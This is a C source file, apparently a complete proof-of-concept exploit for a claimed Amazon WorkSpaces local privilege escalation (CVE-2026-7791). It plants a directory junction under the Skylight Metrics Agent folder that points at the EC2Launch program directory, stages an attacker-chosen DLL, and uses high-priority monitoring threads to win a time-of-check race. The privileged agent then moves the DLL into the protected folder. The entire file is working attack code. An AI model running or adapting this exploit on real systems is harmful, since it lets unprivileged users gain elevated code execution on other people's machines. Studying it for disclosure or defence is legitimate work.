/* CVE-2026-7791: Privileged by Default Local Privilege Escalation in Amazon WorkSpaces via TOCTOU and Arbitrary File Write Author: Ben Zamir For educational purposes only License: MIT */ #ifndef _WIN32_WINNT #define _WIN32_WINNT 0x0600 #endif #define WIN32_LEAN_AND_MEAN #include #include #include #include #include // Define THREAD_PRIORITY_HIGH #ifndef THREAD_PRIORITY_HIGH #define THREAD_PRIORITY_HIGH 1 #endif // Configuration #define BASE_DIR L"C:\\ProgramData\\Amazon\\Skylight Metrics Agent" #define ROTATE_DIR L"C:\\ProgramData\\Amazon\\Skylight Metrics Agent\\ROTATE" // The PoC writes a DLL to the EC2Launch service #define DEFAULT_JUNCTION_TARGET L"C:\\Program Files\\Amazon\\EC2Launch" #define DEFAULT_FILENAME L"test.dll" #define BUFFER_SIZE 4096 #define MAX_FILENAME_LEN 260 #define MAX_PATH_LEN 260 // Global filename (set from command-line argument or user input) wchar_t g_filename[MAX_FILENAME_LEN] = DEFAULT_FILENAME; // Global junction target path (set from command-line argument) wchar_t g_junctionTarget[MAX_PATH_LEN] = DEFAULT_JUNCTION_TARGET; // Atomic flag using Interlocked operations volatile LONG g_rotateDeleted = 0; // Function to delete ROTATE junction atomically bool DeleteRotateJunction(void) { // Atomic check-and-set: if already deleted, return immediately LONG expected = 0; LONG desired = 1; LONG result = InterlockedCompareExchange(&g_rotateDeleted, desired, expected); if (result != 0) { // Already deleted by another thread/event return false; } // We won the race - delete the junction SYSTEMTIME st; GetSystemTime(&st); wprintf(L"[%02d:%02d:%02d.%03d] [!] Deleting rotate junction\n", st.wHour, st.wMinute, st.wSecond, st.wMilliseconds); wprintf(L"[!] Target: %s\n", ROTATE_DIR); wprintf(L"[!] Timing: Target file just appeared, GetArchivedFiles() about to be called\n"); // RemoveDirectoryW for (int attempt = 0; attempt < 3; attempt++) { if (RemoveDirectoryW(ROTATE_DIR)) { // Verify deletion by checking attributes (forces cache refresh) DWORD attrs = GetFileAttributesW(ROTATE_DIR); if (attrs == INVALID_FILE_ATTRIBUTES) { wprintf(L"[+] Success: ROTATE junction deleted (RemoveDirectoryW, attempt %d)!\n", attempt + 1); wprintf(L"[+] Deletion verified - GetArchivedFiles() Directory.Exists() will FAIL\n"); wprintf(L"[+] No files will be enumerated or moved to TRANSMITTED\n"); return true; } // Junction still exists (race condition - recreated?), try again if (attempt < 2) { Sleep(1); // Wait 1ms before retry } } } // Try DeleteFileW DWORD error = GetLastError(); if (error == ERROR_DIRECTORY || error == ERROR_FILE_EXISTS) { if (DeleteFileW(ROTATE_DIR)) { // Verify deletion if (GetFileAttributesW(ROTATE_DIR) == INVALID_FILE_ATTRIBUTES) { wprintf(L"[+] Success: ROTATE junction deleted (DeleteFileW)!\n"); return true; } } } // Use cmd rmdir (most reliable, but slower - last resort) wprintf(L"[!] RemoveDirectoryW failed (error: %lu), trying cmd rmdir...\n", error); STARTUPINFOW si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); si.dwFlags = 0; // Don't inherit handles for faster execution wchar_t cmdline[512]; swprintf_s(cmdline, 512, L"cmd.exe /c rmdir /Q /S \"%s\"", ROTATE_DIR); if (CreateProcessW(NULL, cmdline, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, 100); // Wait max 100ms (don't block too long) DWORD exitCode; if (GetExitCodeProcess(pi.hProcess, &exitCode) && exitCode == 0) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); wprintf(L"[+] Success: ROTATE junction deleted (cmd rmdir)!\n"); return true; } TerminateProcess(pi.hProcess, 0); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } wprintf(L"[!] Failed: All methods failed to delete ROTATE junction\n"); // Reset flag to allow retry InterlockedExchange(&g_rotateDeleted, 0); return false; } // Monitor junction target for file creation DWORD WINAPI MonitorJunctionTarget(LPVOID lpParam) { HANDLE hDir = CreateFileW( g_junctionTarget, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); if (hDir == INVALID_HANDLE_VALUE) { wprintf(L"[!] Error: Failed to open junction target directory (error: %lu)\n", GetLastError()); return 1; } wprintf(L"[+] Monitoring junction target: %s\n", g_junctionTarget); wprintf(L"[+] Waiting for %s creation event...\n", g_filename); char buffer[BUFFER_SIZE]; DWORD bytesReturned; OVERLAPPED overlapped = {0}; overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); while (true) { // Start asynchronous directory change notification if (!ReadDirectoryChangesW( hDir, buffer, BUFFER_SIZE, FALSE, // Watch immediate directory only FILE_NOTIFY_CHANGE_FILE_NAME, // Watch for file name changes &bytesReturned, &overlapped, NULL )) { wprintf(L"[!] ERROR: ReadDirectoryChangesW failed (error: %lu)\n", GetLastError()); break; } // Wait for change notification DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE); if (waitResult == WAIT_OBJECT_0) { // Get result if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) { wprintf(L"[!] ERROR: GetOverlappedResult failed (error: %lu)\n", GetLastError()); break; } // Parse notification FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer; do { // Convert filename to null-terminated wide string wchar_t filename[MAX_PATH]; int len = pNotify->FileNameLength / sizeof(wchar_t); wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len); filename[len] = L'\0'; // Check if it's our target file if (_wcsicmp(filename, g_filename) == 0) { // Check action type - FILE_ACTION_ADDED means file was created if (pNotify->Action == FILE_ACTION_ADDED) { SYSTEMTIME st; GetSystemTime(&st); wprintf(L"[%02d:%02d:%02d.%03d] [!] Critical event: %s created in junction target\n", st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, g_filename); wprintf(L"[!] File: %s\\%s\n", g_junctionTarget, filename); wprintf(L"[!] File.Move() JUST completed - ArchiveLogFilesExceptFor() about to finish\n"); wprintf(L"[!] GetArchivedFiles() will be called IMMEDIATELY after\n"); wprintf(L"[!] DELETING JUNCTION NOW to prevent Directory.Exists() from succeeding!\n"); // CRITICAL: Delete ROTATE junction IMMEDIATELY - no delays DeleteRotateJunction(); } } // Move to next notification if (pNotify->NextEntryOffset == 0) { break; } pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset); } while (true); // Reset event for next notification ResetEvent(overlapped.hEvent); } else { wprintf(L"[!] ERROR: WaitForSingleObject failed\n"); break; } } CloseHandle(overlapped.hEvent); CloseHandle(hDir); return 0; } // Monitor Current directory for enumeration start DWORD WINAPI MonitorCurrentDirectoryEnumeration(LPVOID lpParam) { HANDLE hDir = CreateFileW( BASE_DIR, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); if (hDir == INVALID_HANDLE_VALUE) { wprintf(L"[!] ERROR: Failed to open Current directory (error: %lu)\n", GetLastError()); return 1; } wprintf(L"[+] Monitoring Current directory for enumeration start\n"); wprintf(L"[+] Delete junction when ArchiveLogFilesExceptFor() begins\n"); char buffer[BUFFER_SIZE]; DWORD bytesReturned; OVERLAPPED overlapped = {0}; overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); while (true) { // Monitor for directory access (enumeration) if (!ReadDirectoryChangesW( hDir, buffer, BUFFER_SIZE, FALSE, // Watch immediate directory only FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_FILE_NAME, // Watch for access and file changes &bytesReturned, &overlapped, NULL )) { wprintf(L"[!] ERROR: ReadDirectoryChangesW failed (error: %lu)\n", GetLastError()); break; } // Wait for change notification DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE); if (waitResult == WAIT_OBJECT_0) { // Get result if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) { wprintf(L"[!] ERROR: GetOverlappedResult failed (error: %lu)\n", GetLastError()); break; } // Parse notification FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer; do { // Check if this is directory enumeration if (pNotify->Action == FILE_ACTION_REMOVED) { SYSTEMTIME st; GetSystemTime(&st); wchar_t filename[MAX_PATH]; int len = pNotify->FileNameLength / sizeof(wchar_t); wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len); filename[len] = L'\0'; // If it's our target file being deleted, ArchiveLogFilesExceptFor() has started if (_wcsicmp(filename, g_filename) == 0) { wprintf(L"[%02d:%02d:%02d.%03d] [!] PROACTIVE: ArchiveLogFilesExceptFor() started!\n", st.wHour, st.wMinute, st.wSecond, st.wMilliseconds); wprintf(L"[!] File deletion detected - enumeration in progress\n"); wprintf(L"[!] Deleting ROTATE junction PROACTIVELY (before GetArchivedFiles() is called)\n"); // Delete junction now, before GetArchivedFiles() is called DeleteRotateJunction(); } } // Move to next notification if (pNotify->NextEntryOffset == 0) { break; } pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset); } while (true); // Reset event for next notification ResetEvent(overlapped.hEvent); } else { wprintf(L"[!] ERROR: WaitForSingleObject failed\n"); break; } } CloseHandle(overlapped.hEvent); CloseHandle(hDir); return 0; } // Monitor Current directory for file deletion (logging only - backup detection) DWORD WINAPI MonitorCurrentDirectory(LPVOID lpParam) { HANDLE hDir = CreateFileW( BASE_DIR, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL ); if (hDir == INVALID_HANDLE_VALUE) { wprintf(L"[!] ERROR: Failed to open Current directory (error: %lu)\n", GetLastError()); return 1; } wprintf(L"[+] BACKUP: Monitoring Current directory for file deletion (logging)\n"); char buffer[BUFFER_SIZE]; DWORD bytesReturned; OVERLAPPED overlapped = {0}; overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); while (true) { if (!ReadDirectoryChangesW( hDir, buffer, BUFFER_SIZE, FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &bytesReturned, &overlapped, NULL )) { break; } DWORD waitResult = WaitForSingleObject(overlapped.hEvent, INFINITE); if (waitResult == WAIT_OBJECT_0) { if (!GetOverlappedResult(hDir, &overlapped, &bytesReturned, FALSE)) { break; } FILE_NOTIFY_INFORMATION* pNotify = (FILE_NOTIFY_INFORMATION*)buffer; do { wchar_t filename[MAX_PATH]; int len = pNotify->FileNameLength / sizeof(wchar_t); wcsncpy_s(filename, MAX_PATH, pNotify->FileName, len); filename[len] = L'\0'; if (_wcsicmp(filename, g_filename) == 0) { if (pNotify->Action == FILE_ACTION_REMOVED || pNotify->Action == FILE_ACTION_RENAMED_OLD_NAME) { SYSTEMTIME st; GetSystemTime(&st); wprintf(L"[%02d:%02d:%02d.%03d] [*] File DELETED from Current\n", st.wHour, st.wMinute, st.wSecond, st.wMilliseconds); wprintf(L"[*] File: %s\n", filename); wprintf(L"[*] ArchiveLogFile() started File.Move()\n"); } } if (pNotify->NextEntryOffset == 0) { break; } pNotify = (FILE_NOTIFY_INFORMATION*)((BYTE*)pNotify + pNotify->NextEntryOffset); } while (true); ResetEvent(overlapped.hEvent); } else { break; } } CloseHandle(overlapped.hEvent); CloseHandle(hDir); return 0; } // High-frequency polling fallback - Monitor junction target for file appearance DWORD WINAPI PollingFallback(LPVOID lpParam) { wchar_t junctionTargetFile[MAX_PATH]; swprintf_s(junctionTargetFile, MAX_PATH, L"%s\\%s", g_junctionTarget, g_filename); bool lastExists = false; // Check initial state if (GetFileAttributesW(junctionTargetFile) != INVALID_FILE_ATTRIBUTES) { lastExists = true; } wprintf(L"[+] Polling fallback started (checking junction target every 1ms)\n"); while (true) { Sleep(1); // Check every 1ms for maximum responsiveness DWORD attrs = GetFileAttributesW(junctionTargetFile); bool currentExists = (attrs != INVALID_FILE_ATTRIBUTES); // File appeared in junction target (File.Move() completed) if (!lastExists && currentExists) { SYSTEMTIME st; GetSystemTime(&st); wprintf(L"[%02d:%02d:%02d.%03d] [!] Polling: %s detected in junction target!\n", st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, g_filename); wprintf(L"[!] File Move completed - deleting ROTATE junction...\n"); // Try to delete ROTATE junction immediately (if not already deleted) if (InterlockedCompareExchange(&g_rotateDeleted, 1, 0) == 0) { if (RemoveDirectoryW(ROTATE_DIR)) { wprintf(L"[+] Polling: ROTATE junction deleted!\n"); } else { // Reset flag if deletion failed InterlockedExchange(&g_rotateDeleted, 0); DeleteRotateJunction(); } } } lastExists = currentExists; } return 0; } int wmain(int argc, wchar_t* argv[]) { wprintf(L"========================================\n"); wprintf(L"CVE-2026-7791: Local Privilege Escalation in Amazon WorkSpaces via TOCTOU and Arbitrary File Write \n"); wprintf(L"========================================\n\n"); // Parse command-line arguments if (argc > 1) { // Filename to monitor if (wcslen(argv[1]) < MAX_FILENAME_LEN) { wcscpy_s(g_filename, MAX_FILENAME_LEN, argv[1]); wprintf(L"[+] Using filename from argument: %s\n", g_filename); } else { wprintf(L"[!] ERROR: Filename too long (max %d characters)\n", MAX_FILENAME_LEN - 1); wprintf(L"[!] Using default: %s\n", DEFAULT_FILENAME); } // Junction target path (optional) if (argc > 2) { if (wcslen(argv[2]) < MAX_PATH_LEN) { wcscpy_s(g_junctionTarget, MAX_PATH_LEN, argv[2]); wprintf(L"[+] Using junction target path from argument: %s\n", g_junctionTarget); } else { wprintf(L"[!] ERROR: Path too long (max %d characters)\n", MAX_PATH_LEN - 1); wprintf(L"[!] Using default: %s\n", DEFAULT_JUNCTION_TARGET); } } else { wprintf(L"[*] No junction target path provided, using default: %s\n", DEFAULT_JUNCTION_TARGET); } } else { // No arguments provided - interactive mode wprintf(L"[*] No arguments provided\n"); wprintf(L"[*] Please enter the filename to monitor:\n"); wprintf(L"[*] > "); // Read filename from stdin wchar_t input[MAX_FILENAME_LEN]; if (fgetws(input, MAX_FILENAME_LEN, stdin) != NULL) { // Remove newline if present size_t len = wcslen(input); if (len > 0 && input[len - 1] == L'\n') { input[len - 1] = L'\0'; } if (len > 1 && input[len - 2] == L'\r') { input[len - 2] = L'\0'; } // Trim whitespace wchar_t* start = input; while (*start == L' ' || *start == L'\t') start++; wchar_t* end = start + wcslen(start) - 1; while (end > start && (*end == L' ' || *end == L'\t' || *end == L'\n' || *end == L'\r')) end--; *(end + 1) = L'\0'; if (wcslen(start) > 0 && wcslen(start) < MAX_FILENAME_LEN) { wcscpy_s(g_filename, MAX_FILENAME_LEN, start); wprintf(L"[+] Using filename: %s\n", g_filename); } else { wprintf(L"[!] Invalid filename, using default: %s\n", DEFAULT_FILENAME); } } else { wprintf(L"[!] Failed to read input, using default: %s\n", DEFAULT_FILENAME); } // Ask for junction target path wprintf(L"\n[*] Please enter the junction target path:\n"); wprintf(L"[*] > "); wchar_t pathInput[MAX_PATH_LEN]; if (fgetws(pathInput, MAX_PATH_LEN, stdin) != NULL) { // Remove newline if present size_t len = wcslen(pathInput); if (len > 0 && pathInput[len - 1] == L'\n') { pathInput[len - 1] = L'\0'; } if (len > 1 && pathInput[len - 2] == L'\r') { pathInput[len - 2] = L'\0'; } // Trim whitespace wchar_t* start = pathInput; while (*start == L' ' || *start == L'\t') start++; wchar_t* end = start + wcslen(start) - 1; while (end > start && (*end == L' ' || *end == L'\t' || *end == L'\n' || *end == L'\r')) end--; *(end + 1) = L'\0'; if (wcslen(start) > 0 && wcslen(start) < MAX_PATH_LEN) { wcscpy_s(g_junctionTarget, MAX_PATH_LEN, start); wprintf(L"[+] Using junction target path: %s\n", g_junctionTarget); } else { wprintf(L"[*] Using default junction target path: %s\n", DEFAULT_JUNCTION_TARGET); } } else { wprintf(L"[*] Using default junction target path: %s\n", DEFAULT_JUNCTION_TARGET); } wprintf(L"\n[*] Usage examples:\n"); wprintf(L"[*] %s \n", argc > 0 ? argv[0] : L"exploit.exe"); wprintf(L"[*] %s \n", argc > 0 ? argv[0] : L"exploit.exe"); wprintf(L"[*] %s test.dll\n", argc > 0 ? argv[0] : L"exploit.exe"); wprintf(L"[*] %s exploit.exe c:\\test\n\n", argc > 0 ? argv[0] : L"exploit.exe"); } wprintf(L"\n[*] Configuration:\n"); wprintf(L"[*] Target file: %s\n", g_filename); wprintf(L"[*] Current directory: %s\n", BASE_DIR); wprintf(L"[*] ROTATE junction: %s\n", ROTATE_DIR); wprintf(L"[*] Junction target: %s\n", g_junctionTarget); wprintf(L"[*] Setup\n"); // Verify/Create BASE_DIR wprintf(L"[*] Step 1: Checking base directory...\n"); DWORD baseAttrs = GetFileAttributesW(BASE_DIR); if (baseAttrs == INVALID_FILE_ATTRIBUTES) { wprintf(L"[+] Base directory does not exist, creating: %s\n", BASE_DIR); if (CreateDirectoryW(BASE_DIR, NULL)) { wprintf(L"[+] Base directory created successfully\n"); } else { DWORD error = GetLastError(); if (error == ERROR_ALREADY_EXISTS) { wprintf(L"[*] Base directory already exists (race condition)\n"); } else { wprintf(L"[!] ERROR: Failed to create base directory (error: %lu)\n", error); return 1; } } } else { wprintf(L"[+] Base directory already exists\n"); } // Create ROTATE junction wprintf(L"[*] Step 2: Checking ROTATE junction...\n"); DWORD rotateAttrs = GetFileAttributesW(ROTATE_DIR); if (rotateAttrs == INVALID_FILE_ATTRIBUTES) { wprintf(L"[+] ROTATE junction does not exist, creating...\n"); wprintf(L"[+] Command: mklink /J \"%s\" \"%s\"\n", ROTATE_DIR, g_junctionTarget); // Build mklink command wchar_t cmdLine[1024]; swprintf_s(cmdLine, 1024, L"cmd.exe /c mklink /J \"%s\" \"%s\"", ROTATE_DIR, g_junctionTarget); STARTUPINFOW si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; // Hide window if (CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, 5000); // Wait up to 5 seconds DWORD exitCode; if (GetExitCodeProcess(pi.hProcess, &exitCode) && exitCode == 0) { wprintf(L"[+] ROTATE junction created successfully\n"); } else { wprintf(L"[!] Warning: mklink command may have failed (exit code: %lu)\n", exitCode); } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else { wprintf(L"[!] ERROR: Failed to execute mklink command (error: %lu)\n", GetLastError()); return 1; } } else { if (rotateAttrs & FILE_ATTRIBUTE_REPARSE_POINT) { wprintf(L"[+] ROTATE junction already exists\n"); } else { wprintf(L"[!] Note: ROTATE exists but is not a junction!\n"); wprintf(L"[!] Attempting to delete and recreate...\n"); if (RemoveDirectoryW(ROTATE_DIR) || DeleteFileW(ROTATE_DIR)) { // Recreate as junction wchar_t cmdLine[1024]; swprintf_s(cmdLine, 1024, L"cmd.exe /c mklink /J \"%s\" \"%s\"", ROTATE_DIR, g_junctionTarget); STARTUPINFOW si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; if (CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } } } } // Verify junction was created rotateAttrs = GetFileAttributesW(ROTATE_DIR); if (rotateAttrs == INVALID_FILE_ATTRIBUTES) { wprintf(L"[!] Note: ROTATE junction does not exist after creation attempt!\n"); wprintf(L"[!] Please create it manually: mklink /J \"%s\" \"%s\"\n", ROTATE_DIR, g_junctionTarget); return 1; } if (!(rotateAttrs & FILE_ATTRIBUTE_REPARSE_POINT)) { wprintf(L"[!] Note: ROTATE is not a junction/reparse point!\n"); return 1; } wprintf(L"[+] Confirmed ROTATE is a junction/reparse point\n"); // Check if file exists in program directory and copy it wprintf(L"[*] Step 3: Checking for file in program directory...\n"); // Get program directory wchar_t programPath[MAX_PATH]; if (GetModuleFileNameW(NULL, programPath, MAX_PATH) == 0) { wprintf(L"[!] Warning: Failed to get program path (error: %lu)\n", GetLastError()); } else { // Extract directory from full path wchar_t* lastSlash = wcsrchr(programPath, L'\\'); if (lastSlash != NULL) { *(lastSlash + 1) = L'\0'; // Null-terminate at directory (keeps backslash) } else { // No backslash found (unlikely), add one size_t len = wcslen(programPath); if (len < MAX_PATH - 1) { programPath[len] = L'\\'; programPath[len + 1] = L'\0'; } } // Build source file path wchar_t sourceFile[MAX_PATH]; swprintf_s(sourceFile, MAX_PATH, L"%s%s", programPath, g_filename); // Build destination file path wchar_t destFile[MAX_PATH]; swprintf_s(destFile, MAX_PATH, L"%s\\%s", BASE_DIR, g_filename); // Check if source file exists DWORD sourceAttrs = GetFileAttributesW(sourceFile); if (sourceAttrs != INVALID_FILE_ATTRIBUTES && !(sourceAttrs & FILE_ATTRIBUTE_DIRECTORY)) { wprintf(L"[+] File found in program directory: %s\n", sourceFile); wprintf(L"[+] Copying to: %s\n", destFile); // Copy file if (CopyFileW(sourceFile, destFile, FALSE)) { wprintf(L"[+] File copied successfully\n"); } else { DWORD error = GetLastError(); if (error == ERROR_FILE_EXISTS) { wprintf(L"[*] File already exists in destination, skipping copy\n"); } else { wprintf(L"[!] WARNING: Failed to copy file (error: %lu)\n", error); wprintf(L"[!] Continuing anyway - file may already be in target directory\n"); } } } else { wprintf(L"[*] File not found in program directory: %s\n", sourceFile); wprintf(L"[*] Assuming file is already in target directory or will be placed manually\n"); } } wprintf(L"[+] Setup Complete \n\n"); // Increase process priority to HIGH (doesn't require admin) if (SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS)) { wprintf(L"[+] Process priority set to HIGH_PRIORITY_CLASS\n"); } else { wprintf(L"[!] Warning: Failed to set process priority (error: %lu)\n", GetLastError()); } wprintf(L"\n[*] Starting monitoring threads...\n\n"); // Monitor Current directory for enumeration start HANDLE hProactiveThread = CreateThread( NULL, 0, MonitorCurrentDirectoryEnumeration, NULL, 0, NULL ); if (!hProactiveThread) { wprintf(L"[!] Error: Failed to create proactive monitor thread (error: %lu)\n", GetLastError()); return 1; } SetThreadPriority(hProactiveThread, THREAD_PRIORITY_HIGH); // reate junction target monitoring thread (ReadDirectoryChangesW) HANDLE hJunctionTargetThread = CreateThread( NULL, 0, MonitorJunctionTarget, NULL, 0, NULL ); if (!hJunctionTargetThread) { wprintf(L"[!] Error: Failed to create junction target monitor thread (error: %lu)\n", GetLastError()); CloseHandle(hProactiveThread); return 1; } SetThreadPriority(hJunctionTargetThread, THREAD_PRIORITY_HIGH); // Create Current directory monitoring thread (logging only) HANDLE hCurrentThread = CreateThread( NULL, 0, MonitorCurrentDirectory, NULL, 0, NULL ); if (!hCurrentThread) { wprintf(L"[!] Error: Failed to create Current directory monitor thread (error: %lu)\n", GetLastError()); CloseHandle(hProactiveThread); CloseHandle(hJunctionTargetThread); return 1; } // Create polling fallback thread (high-frequency check - 1ms) HANDLE hPollingThread = CreateThread( NULL, 0, PollingFallback, NULL, 0, NULL ); if (!hPollingThread) { wprintf(L"[!] ERROR: Failed to create polling thread (error: %lu)\n", GetLastError()); CloseHandle(hProactiveThread); CloseHandle(hJunctionTargetThread); CloseHandle(hCurrentThread); return 1; } SetThreadPriority(hPollingThread, THREAD_PRIORITY_HIGH); wprintf(L"[+] Monitoring Current directory for enumeration start\n"); wprintf(L"[+] Monitoring junction target for %s creation\n", g_filename); wprintf(L"[+] Monitoring Current directory for file deletion (logging)\n"); wprintf(L"[+] High-frequency polling (1ms) on junction target\n"); wprintf(L"[+] Press Ctrl+C to stop\n\n"); // Wait for threads (or Ctrl+C) HANDLE threads[] = {hProactiveThread, hJunctionTargetThread, hCurrentThread, hPollingThread}; WaitForMultipleObjects(4, threads, FALSE, INFINITE); // Cleanup TerminateThread(hProactiveThread, 0); TerminateThread(hJunctionTargetThread, 0); TerminateThread(hCurrentThread, 0); TerminateThread(hPollingThread, 0); CloseHandle(hProactiveThread); CloseHandle(hJunctionTargetThread); CloseHandle(hCurrentThread); CloseHandle(hPollingThread); wprintf(L"\n[*] Monitoring stopped\n"); return 0; }